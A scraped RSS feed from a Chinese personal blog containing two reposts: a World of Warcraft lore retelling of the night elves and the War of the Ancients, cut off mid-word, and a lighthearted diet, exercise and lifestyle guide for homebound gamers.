　　Kaldorei，后来也被叫作“夜精灵”，他们崇拜月之女神Elune，他们相信女神白天的时候睡在永恒之井里。早期的夜精灵法师和预言家带着无限的好奇研究永恒之井，想要揭开井中未知的秘密与力量。随着部落的成长壮大，夜精灵们拓宽了探索Kalimdo的范围，并因此而遇上了其他种族的居民。唯一能够阻挡他们前进步伐的就是强大的远古巨龙。巨大的蛇和野兽经常是排外的，但他们肩负使命保护大陆抵御潜在的威胁。夜精灵发现巨龙们把他们自己当成是世界的守护者，于是他们同意不去侵犯巨龙以及他们守护的秘密。
　　夜精灵的好奇心引领着他们遇上了许多强大的人物，其中一位就是住在丛林中半人半神的Cenarius。伟大的Cenarius逐渐喜欢上了好奇的夜精灵，并花大量的时间教授他们有关自然世界的知识。安静的Kaldorei渐渐对Kalimdo的森林产生了强烈的同情,并为了自然界的和谐平衡而努力。
　　又过了不知多少年，夜精灵的文明不仅在领土上还在文化上大大扩展了。他们的神庙，道路以及居住地跨越了黑暗的大陆。Azshara是夜精灵中最漂亮最聪明的女王，她在永恒之井的岸边建起了一幢巨大而又奇异的宫殿。宫殿里满是服侍她的仆人，美丽的珠宝装饰着宽敞的大厅。
　　她的仆人被称做或者Highborne，他们只听从Azshara的吩咐，并把她当作是夜精灵中最伟大的人。尽管Azshara同等受到她的人民的爱戴，但是Highborne却私下里遭到其他夜精灵的妒忌和讨厌。
　　Azshara象其他夜精灵法师一样，对永恒之井充满了好奇，她命令Highborne去发掘井的秘密，并要把它公之于众。Highborne埋头于他们的工作，不停的研究着井的奥秘。其间，他们逐步学会了操纵和控制井中宇宙能量的方法。随着实验的深入，他们发现他们可以利用这种新发现的能量随意地进行创造和毁灭。粗心的Highborne偶然发现了原始的魔力，并决定要去掌握这种能量。尽管Azshara和她的Highborne知道如果处理不当这种魔法会变的十分危险，但他们依然毫无节制地开始操控这些魔法。Cenarius以及许多小精灵学者警告说玩弄魔法将会导致灾难。即便如此，Azshara和她的下属依旧固执的进行着他们提高法力的计划。
　　随着力量的增加，Azshara和Highborne也出现了明显的变化。傲慢的他们开始变的日益麻木，并且开始残忍地对待他们的夜精灵同类。黑暗遮住了Azshara曾经迷人的外表。她开始收起她的慈爱，拒绝与她信任的Highborne法师以外的夜精灵接触。
　　有一名年轻的学者Malfurion Stormrage，她曾经花很多时间研究德鲁伊的魔法。她开始怀疑有一种可怕的力量正在污染Highborne和他们钟爱的女王的心灵。虽然他不知道邪恶正在接近，但至少他相信夜精灵的生活不久将永远改变。
　　远古的战争
　　魔兽争霸前的10000年
　　Highborne滥用魔法，使大量来自永恒之井的能量又放射回到了黑暗的宇宙。但螺旋状的能量喷发已经被恐怖的外来生物察觉到了。Sargeras---所有生物的敌人，世界的毁灭者，感觉到了能量的喷发，并被这个遥远的喷发点所吸引。在知道了原始世界Azeroth的存在并查知了永恒之井无限的能量之后，Sargeras对此产生了极大的渴望。这个黑暗君主决定去摧毁这个刚刚诞生的世界，并将所有的能量据为几有。
　　Sargeras集结了他庞大的燃烧军团，并朝着未知的Azeroth世界进军。燃烧军团里有百万的魔鬼，他们来自宇宙的深处，尖叫着，渴望征服一切。Sargeras的下属Archimonde和Mannoroth集合他们阴间的军队等待着开赴战场。
　　Azshara女王此时以完全为她可怕的魔法而着迷，她臣服于Sargeras无可否认的强大力量，并答应为Sargeras打开通向Azeroth的大门。甚至她的Highborne侍从也不可避免的受到了魔法的污染，开始把Sargeras当作他们的上帝。为了表示对燃烧军团的忠诚，Highborne准备协助他们的女王在永恒之井打开巨大的旋涡入口。
　　所有的准备工作已经完成，Sargeras将展开对Azeroth灾难性的入侵。燃烧军团的恶魔战士们通过永恒之井涌入世界，对沉睡中的夜精灵的城市展开围攻。在Archimonde 和Mannoroth的带领下，燃烧军团成群结队穿过Kalimdor大陆，所到之处留下的只有废墟和人们的哀伤。恶魔法师召唤出的阴间恶魔象流星般滑过神庙优美的尖顶坠落在Kalimdor上。一群群浑身燃烧的恶魔守卫跨过Kalimdor的田野，他们见一个杀一个。一批批狂暴的地狱犬践踏着村庄。尽管勇敢的Kaldorei战士誓死捍卫着他们古老的家园，但是在呼啸而来的燃烧军团面前，他们不得不一步步向后退却。
　　Malfurion Stormrage为了族人开始寻找援军。Stormrage曾目睹上层阶级的堕落，Stormrage的兄弟Illidan也练习Highborne的魔法。为了劝说Illidan放弃对这种危险魔法的迷恋，Malfurion出发寻找Cenarius并集合抵抗的力量。年轻美丽的女祭司Tyrande以月之女神Elune的名义答应陪伴在兄弟两身边。虽然Malfurion和Illidan都深爱着他们的女祭司，但Tyrande的心却只属于Malfurion一人。Illidan非常憎恨Tyrande与Malfurion之间萌生的爱情，但是这点心痛与他对于魔法沉迷的痛来说根本不算什么。
　　Illidan已经完全依赖于魔法所赐予他的巨大能量。他努力想控制住他对于永恒之井能量的无穷渴望。然而在Tyrande的耐心支持下，他控制住了自己，并帮助他的兄长找到了隐居的半人半神的Cenarius。Cenarius居住在遥远的Hyjal山神圣的Moonglades里，他同意帮助夜精灵们找到古龙，寻求他们的帮助。巨龙们在红色海怪Alexstrasza的带领下，同意率领他们庞大的队伍来对抗恶魔们和他们阴间的主人。
　　Cenarius凭借魔法森林里的的精神力量，集合了一支有古代树人组成的军队，他领导着他们抵抗燃烧军团凶猛的地面攻击。当夜精灵的联军在Azshara的神庙和永恒之井集结时，战争全面爆发了。尽管有新的盟军加入，但Malfurion和他的同伴们开始意识到，燃烧军团是不可能被这点战斗力所击败的。当战火燃烧在Azshara的城市里时，受到蒙蔽的Azshara王后依然期待着Sargeras的到来。燃烧军团的首领Sargeras正打算通过永恒之井来到这个战火纷飞的世界。当他巨大的身影逐渐靠近永恒之井的表面时，Azshara集合了他最强大的Highborne追随者，因为只有把他们所有的魔法力量联合聚集起来形成的魔法阵，才能创造出一个足够大的传送门让Sargeras进入这个世界。
　　当战火笼罩在Kalimdor大陆上时，可怕的事情才刚刚开始发生，虽然整个详细的过程将随着时间而消逝，但有些事情人们不会忘记，Neltharion地球的守护龙在与燃烧军团的对抗中变的疯狂。受到来自黑暗火焰的袭击，他开始分裂变形，他变成了燃烧的巨龙Deathwing。他背叛了他的兄弟们，五条飞龙守护神，并在战场上击败了他们。
　　Deathwing的突然背叛对于五条飞龙守护神来说是一个毁灭性的打击。拖着受伤的身躯带着难以平复的震惊，Alexstrasza和其他神龙被迫退出了联军。Malfurion和他的同伴们此时已经变得非常绝望，只是为了生存而继续战斗。
　　Malfurion认为永恒之井是恶魔们通向这个物质世界的通道，所以他坚持认为要把它摧毁。而他的同伴们则认为永恒之井是他们神圣力量的来源，所以认为这是个卤莽草率的决定。而Tyrande则认为Malfurion的想法是明智的，因此她要求Cenarius和他的同伴们摧毁Azshara的神庙并将永恒之井永远封印。
　　世界的分离
　　Illidan知道了Malfurion等要摧毁永恒之井的计划后，担心曾经奇异的魔法将永离他而去，于是他背弃了他的族人，自私的决定出发去通知Highborne们Malfurion的计划。由于沉迷魔法而产生的疯狂以及出于对Malfurion与Tyrande相恋的嫉恨，Illidan并不后悔背叛Malfurion而转投Azshara的队伍。Illidan发誓要不惜一切保护住永恒之井的能量。
　　Malfurion为他兄弟的离去而痛心。他带领着他的同伴们来到了Azshara神殿的中心。然而当他们进入主大厅时，他们发现Highborne正在进行他们最后的黑暗咒语。咒语使井的底部产生出一个不太稳定的深不见底的旋涡。当Sargeras的阴影开始逐渐接近井的表面时，Malfurion和他的联军匆忙地开始了进攻。
　　Azshara早已收到了Illidan的警告，所以做好了充分的准备。在 Azshara疯狂的力量之下，Malfurion的同伴们一一倒下。Tyrande,打算从背后攻击女王，但被女王的Highborne守卫擒住。尽管Tyrande费劲全力击败了守卫，她自己也是身受重伤。Malfurion眼见自己的爱人也被击倒，一阵狂怒，他决定要杀死Azshara。
　　战斗在神殿内外激烈的进行着，突然Illidan出现在永恒之井的岸边。他带着一些特制的容器，跪下身来把永恒之井的圣水装进每个容器里，他知道恶魔们迟早会将夜精灵的文明彻底摧毁，于是他要偷去这些圣水，供自己享用。
　　Malfurion和Azshara随后的战斗使Highborne的魔法阵陷入了混乱，井中不稳定的旋涡发生了大爆炸，爆炸引发的一系列灾难将使得整个世界互相分割开来。巨大的爆炸动摇了神殿的基座,地动山摇。燃烧军团与夜精灵联军之间的激烈斗争几乎夷平了整个城市，永恒之井也慢慢崩塌。
　　最后灾难性的爆炸破坏了地表，扬起的尘土遮住了天空。
　　来自永恒之井的余震使地表破裂，地理结构完全破坏，海水冲入满是创痍的地表。几乎白分之八十的Kalimdor大陆被分割开来，只有一小部分大陆环绕着新生的海洋。海的中心曾经是永恒之井的位置，现在那里只有汹涌的潮汐，怒吼的风暴还有混乱的力量。这就是战争后留下的可怕伤痕，被人称做大旋涡。旋涡不停的旋转，提醒我们过去曾经发生过的巨大灾难。和平时代就此一去不复返。
　　Azshara王后和她的Highborne不计成败，转而开始面对生存的残酷考验。Azshara和她的追随者被他们所释放出的能量拖入了愤怒的海底深处。他们受到了诅咒，他们的外型逐渐改变，变成了蛇形的naga族。Azshara的憎恨与愤怒急剧膨胀，成为了厚重的畸形，她的内心透出邪恶和恶意。
　　在大旋涡的底部naga新建了他们的城市Nazjatar，他们要在那里重建他们自己的力量。但他们不知道直至1万年后naga才将重新出现在世界的舞台上。
　　Hyjal 山和Illidan的礼物
　　在大爆炸中存活下来的少数夜精灵们乘上粗制的竹筏，缓缓地向视野中的大陆驶去。Malfurion, Tyrande, 和Cenarius在月之女神Elune的保佑下也幸存地活了下来。疲倦的英雄们同意继续领导他们的族人，并带领剩下的族人去建立新的家园。他们安静的踏上了建立新家园的旅途。他们注视着爆炸后留下的一片残破景象，意识到他们的一时冲动毁灭了周围的一切。虽然Sargeras和他的燃烧军团在爆炸中被赶出了这个世界，但Malfurion和他的同伴们也开始沉思他们付出的可怕代价。
　　也有许多Highborne在灾难中幸存下来，他们尾随着夜精灵向新大陆驶去。尽管Malfurion并不相信Highborne，但他很满足的是这些Highborne缺乏了井中的力量后不会对他们造成任何危害了。
　　疲惫的夜精灵们登上了新大陆。他们发现神圣之山Hyjal也在爆炸中保存了下来。为了建立新的家园，Malfurion和他的同伴们沿着山坡爬上了顶峰。当他们进入一个被山峰所包围的树木葱荣的盆地时，他们发现了一个安静的小湖。让他们惊骇的是他们发现这湖水已经被施过了魔法。
　　Malfurion在知道了他兄弟Illidan将在那里进行他可怕无情的计划后，他断然决定干涉他因魔法而迷失心智的兄弟的行动。在Cenarius的帮助下，Malfurion将Illidan囚禁在一个巨大的地下监狱里，在那里Illidan将被链条锁住，力量永远无法发挥。为了能够安全的关住Illidan，Malfurion让年轻的守望者Maiev Shadowsong担当看守Illidan的狱卒。
　　夜精灵害怕摧毁新的井会引发更大的灾难，于是打算任由它去，但Malfurion宣布他们以后永远也不会再使用这魔法的力量。在Cenarius的监督下，夜精灵们开始学习德鲁伊魔法，用以治愈破坏的地球，在圣山上重建他们热爱的森林。世界树和翡翠梦世界
　　魔兽争霸前的9000年
　　多年来，夜精灵们不辞辛劳的重建他们古老的家园。夜精灵们离开了他们破损的神庙和长满杂草的道路，在Hyjal山翠绿的丛林中修建自己新的家园。后来，在大战中幸存下来的巨龙也从原先秘密逗留的地方来到了这里。
　　红色的Alexstrasza，绿色的Ysera还有青铜色的Nozdormu降落在德鲁伊的安静的林间空地上，观看着夜精灵的劳作。Malfurion，此时已成为具有强大能力的德鲁伊，他上前迎接神龙的到来，告诉他们新的永恒之井是如何建造出来的。巨龙们听到这个消息后非常担心，他们猜想只要永恒之井存在，燃烧军团会再度到来袭击这个世界。于是Malfurion和三条神龙定下契约，他们会保证永恒之井的安全，不会让燃烧军团有机会发现来到这个世界的通道。
　　Alex ]]> http://447000898.qzone.qq.com/blog/1233321496#comment 134218760 Fri, 30 Jan 2009 13:18:16 GMT http://447000898.qzone.qq.com/blog/1233321496 <![CDATA[[转]【交流】3.0前倾情奉献——宅男健康指南]]> http://447000898.qzone.qq.com/blog/1233222503 　　面对即将更新的CWOW，很多人即将进入更加宅的阶段。。。值此多宅之秋，贴上一些心得，谨与众宅男共勉。
　　引言
　　作为一名在外工作的游子，我难以避免的踏入了宅男的领域。不可否认，宅男的生活状况在目前的中国来讲并不是主流，甚至是为一些人士所唾弃的。但由于宅男生活的低成本和高度娱乐性，仍然受到了很多类似我这种状况人士的欢迎。首先，我想指出，自力更生的宅男无需愧疚，你选择的是这种生活方式而已，当然，选择了就要做好为此负责任的准备。其次，本文不针对NEET。
　　作为一名宅男，我们并非害怕社交，只是想以较低的成本实现自己喜欢的生活状况。说的酸一点，我们并非不能夜夜笙箫，只是我们不喜欢而已。因此，我们没有任何理由亏待自己。作为人生最宝贵的财富之一——健康，实在有必要提上诸位宅男的 坦白说，我刚工作的一年很宅，非常宅，每天除了工作就是WOW，基本不出门，无户外
　　活动。同时由于工作了以后伙食比学校好很多了，加上公司偶尔的聚餐、应酬之类的，没见过世面的我也开始大吃大喝，同时又缺乏锻炼。这也就导致我迅速增加了10KG的赘肉。。。。突然有一天，我发现人类是一个很贱的种族，好吃好喝然后又不体力劳动，这样下去会很早就嗝屁了，因此我悟了。。。
　　另外，我这里说的健康，包含了一部分健美的含义在里面。不用跟我说什么内涵，素质啊，啥叫第一印象，第一印象就是外表。。。在同样的条件下，你是选漂亮的还是选丑的？MM也同理。
　　一、宅男的饮食
　　在这里我无意陈述一大堆绕来绕去充满各种专业名词的营养学理论，只希望简单的提出几条原则性的东西，大家可以有针对性的对饮食进行选择和安排。
　　基本知识
　　1、食物大致可分为碳水化合物、蛋白质和脂肪，这3个都能为你提供能量，但是优先级不同。
　　2、碳水化合物按照对血糖的影响程度可分为高升糖指数的碳水化合物和低升糖指数的碳水化合物（真绕口。。。），这里说起来比较麻烦，简单说，尽量少摄入高升糖的（糖类，各种饮料，白米饭等等），摄入低升糖的碳水化合物更有利于健康，也有利于减肥。
　　3、脂肪分为不饱和、饱和和反式脂肪，其中反式脂肪不利于健康，容易导致胆固醇过高，各种心血管疾病，主要存在于经过高温处理过的油脂当中，比如酥饼、油炸、烧烤食品。。（都是很好吃的）。不饱和脂肪对人体是有益的，主要存在于植物油当中，比如坚果。。。饱和脂肪如果不是过度摄入对人体并不会有多少危害，主要存在于动物油脂当中。因此并不是所有的脂肪都会导致肥胖，适当的摄入不饱和脂肪反而有助于减肥。。。
　　4、蛋白质主要存在于各种肉类，但是不同的动物，不同的部位，蛋白质和脂肪的比例不同。简单的说，鱼虾、白肉（鸡胸肉）的脂肪含量少，红肉（牛肉、猪肉）的脂肪含量多。据说最优质的蛋白质来自深海龙虾、三文鱼。。。。可惜这两东西天天吃就直接破产。。。。
　　5、总的来说，人体先利用血液和肌肉里的碳水化合物，即血糖和肌糖元作为能量来源，如果这2个没了，开始分解肌肉中的蛋白质以及肝糖元作为能量来源，实在不行了，才会分解脂肪。这也就是减肥之所以这么困难的原因。。。
　　6、人体有自动适应机制，如果节食，长时间的保持低血糖，虽然会让身体分解肌肉和脂肪作为能量来源，但是一旦恢复正常饮食，身体就会疯狂的将摄入的碳水转化为脂肪以备以后不时之需。。。这也就是节食减肥反弹的原因。
　　结论
　　1、在现代社会，越精细的主食升糖指数越高，越容易导致肥胖。简单的说吃的越精细，死的越快。因此，多吃粗粮（玉米、红薯、全麦、小米等等）。同时，粗粮中大量膳食纤维的摄入更有利于健康。
　　2、尽可能不要摄入反式脂肪，对健康影响很大。。。当然，我也经常管不住自己的嘴。。。为啥都这么好吃呢。。
　　3、饮食结构以碳水和蔬菜为为主，蛋白质次之，脂肪再次之，一般来说没有必要专门摄入脂肪，因为在平时的食物当中提供了你足够的脂肪。
　　4、少吃多餐，每餐吃太多绝对是导致肥胖的重要原因。一般的说，早饭不用太多，但是营养要好，最好包含蛋白质和碳水。午饭要吃饱，要保证一定量的蛋白质和脂肪摄入。晚饭要少吃。特别对于要控制体重的人群，一定要少吃，并且少摄入碳水、脂肪，多吃点蔬菜。另外夜宵这个东西，对健康实在不好，尽量少吃吧。除非你每天都要工作到深夜。。
　　5、如果你是个胖子，那么注意高纤维，低碳水、低脂肪，特别要少摄入高升糖指数的碳水化合物。
　　6、如果你很瘦，那么注意多摄入碳水化合物和蛋白质，同时要去医院看，是不是肠胃或者甲状腺有问题。。。
　　PS.突然发现我还是罗罗嗦嗦写了一大堆。。。
　　二、宅男的生活
　　1、不要熬夜。特别是不要通宵，保持每天至少6-8个小时的睡眠。
　　2、每周抽出2-4个小时运动。我在这里不得不再次说人类真是一个很贱的种族。好吃好喝并且好吃懒做绝对会让你死的很快。就得没事“折磨”自己运动一下才能保持健康身体。
　　3、运动不用太剧烈，中低强度的有氧运动（慢跑、快走、自行车）于增强心肺功能，缓解压力有很好的效果。所谓中低强度，一般22岁的年轻人心跳保持在150左右基本上就是了。再简单的说，运动程度达到说话不是太连贯就OK了。注意不要在马路上跑步，在废气中进行有氧运动对健康非常不利。
　　4、同时注意保护自己，人体能够自我恢复，但同时也很脆弱。适当的运动后应该感到很舒适，明天的精力能够恢复，如果太累，要降低强度。运动贵在坚持，你每天跑半个小时的效果远远好于你一天跑5个小时剩下的几天全部休息。
　　5、学会安排时间。合理的安排时间，是可以在某种程度上做到WOW和工作或者学习协调发展的。我这里说的协调发展，是说工作上基本做的过的去，同时WOW也能玩的挺开心。当然，如果你要认真在工作上做出一番天地来，那么我建议你还是放弃WOW吧，有舍才有得。以为自己为例，我也曾经觉得工作太忙了，没有时间去WOW，尤其是我这个工作加班的时间根本无法预测，一度让我非常头疼。但其实这里面有很多事情是可以提前做的，很多事情是可以和同事或者领导沟通的，早点做准备，提早做计划，可以省下很多时间来。个人认为从另一个角度来讲，这样也是对工作的一种促进，免得你偷懒。你想玩WOW么？那就赶紧把事情搞定了就行了。
　　三、宅男的内心
　　1、WOW可以，但是不要误事。如果因为这个耽误正事，那太不成熟也太不值得了。
　　2、装备就是0和1，在WOW追求装备无可厚非，但是追求装备胜过一切，实在不值得。没有必要为了装备生气，没有必要为了装备痛苦。WOW什么东西最保值？亲友团!
　　3、多与人交流。通常来说，宅男是有些孤独的，特别是宅男中很多是在外地求学的或者工作的，在当地不认识几个人，平时还好，一到重大节日，是有些凄凉。。。这个时候建议众宅男找个人聊聊天。朋友、同事、WOWER都可以。海阔天空谈各种都可以，心里的孤独啊、寂寞啊很快就排解掉了。多和老朋友联系。我不排除有一些朋友是可以很久不联系但见面了仍然是以前的感觉。但一般的来讲，长久不联系会导致生疏这是人之常情。尽量有一个异性朋友。异性其实是很好的倾诉对象，很多不好跟哥们说的事情，都可以在异性朋友那里说说。其实宅并不可怕，可怕的是，宅的很孤独。。。
　　4、想想未来，但是少YY。虽然人们常说SY强身，YY强国，但是我觉得如果能够对自己的未来有一个大概的规划或者说构想是很好的事情，但是如果沦为彻底的YY那就很可悲了。YY是失败者自我安慰的工具，成功的人不需要YY。
　　结语
　　坦白说，上面这么多很难都做到的，但是我觉得，能做到一点是一点，习惯是慢慢养成的，健康也是逐渐培育的。
　　做一点改变，总比一点改变都没有来的好。
　　总之，我们的口号是，要宅也要健康，要宅还要快乐！
　　[责任编辑:猩猩] ]]> http://447000898.qzone.qq.com/blog/1233222503#comment 134218760 Thu, 29 Jan 2009 09:48:23 GMT http://447000898.qzone.qq.com/blog/1233222503